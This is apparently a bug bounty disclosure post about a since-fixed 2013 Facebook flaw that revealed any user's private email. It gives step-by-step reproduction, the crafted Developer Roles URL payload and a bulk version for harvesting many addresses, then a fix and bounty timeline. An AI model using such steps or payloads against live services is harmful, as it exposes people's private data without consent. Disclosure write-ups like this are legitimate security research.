Hi, For this post, I’ll be talking about how I disclose the Private Primary Email Address of any Facebook Account. With no user interaction. Enjoy.
This bug was reported to Facebook Security Team, fixed immediately
Last month, I've found a vulnerability in Facebook Developer Application Roles Page which allowed me to disclose the primary Facebook email address even if the victim set the email address privacy to "Only Me"
Steps to Reproduce
1. Grab profile links of all facebook users from Facebook People Directory i.e http://www.facebook.com/directory/people/
2. Collect Numerical Facebook ID for each Profile from facebook Graph API i.e http://graph.facebook.com/sdfsdfsdafd.sdfdsafsdfds where extracted user ID is 100006240120652
3. Block victim Facebook Account
4. Create Facebook Application -> Go to Settings -> Developer Roles
5. Final payload for this vulnerability looks like this:
https://developers.facebook.com/apps/APPLICATION_ID/roles?unverified_groups[1][0]=VICTIM_UID
Nevertheless, you can obtain multiple email address by adding more parameters
https://developers.facebook.com/apps/APPLICATION_ID/roles
?unverified_groups[1][0]=VICTIM_UID1
&unverified_groups[2][0]=VICTIM_UID2
&unverified_groups[3][0]=VICTIM_UID3
&unverified_groups[4][0]=VICTIM_UID4
&unverified_groups[5][0]=VICTIM_UID5
&unverified_groups[6][0]=VICTIM_UID6
&unverified_groups[7][0]=VICTIM_UID7
&unverified_groups[8][0]=VICTIM_UID8
&unverified_groups[9][0]=VICTIM_UID9
&unverified_groups[10][0]=VICTIM_UID10
and so forth...
Dumping Like a Boss ;)
Just reported this issue and one hour later Facebook Security Team responded my initial report
LoL! ;)
At exactly 8:26AM the vulnerability was finally fixed
Final fix: 5 hours after initial report
Facebook was pretty fast to address this issue and resolved this within hours. Facebook Security team awarded this bug with $4500.
Facebook WhiteHat Card, baby!
I appreciate the opportunity to preserve my skills and gain some more experience. Thank you Facebook security team.
Protip: Focus on your target, think creative, use your imagination, don't spend your time on attacks like reflected XSS etc. try to find something special ;)
Disclosure Timeline
June 25th, 2013 at 1:22AM (GMT +08:00): Vulnerability Discovered
June 28th, 2013 at 2:43AM (GMT +08:00): Initial Report
June 28th, 2013 at 2:44AM (GMT +08:00): Autorespose from Security bot
June 28th, 2013 at 3:41AM (GMT +08:00): First response from Security Team
June 28th, 2013 at 8:26AM (GMT +08:00): Vulnerability Fixed
July 6th, 2013 at 1:40AM (GMT +08:00): Confirmation of Rory that the vulnerability had been fixed
July 19th, 2013 at 1:08AM (GMT +08:00): Bounty awarded
July 21st, 2013 at 12:00NN (GMT +08:00): Full Disclosure Published
Save The Planet!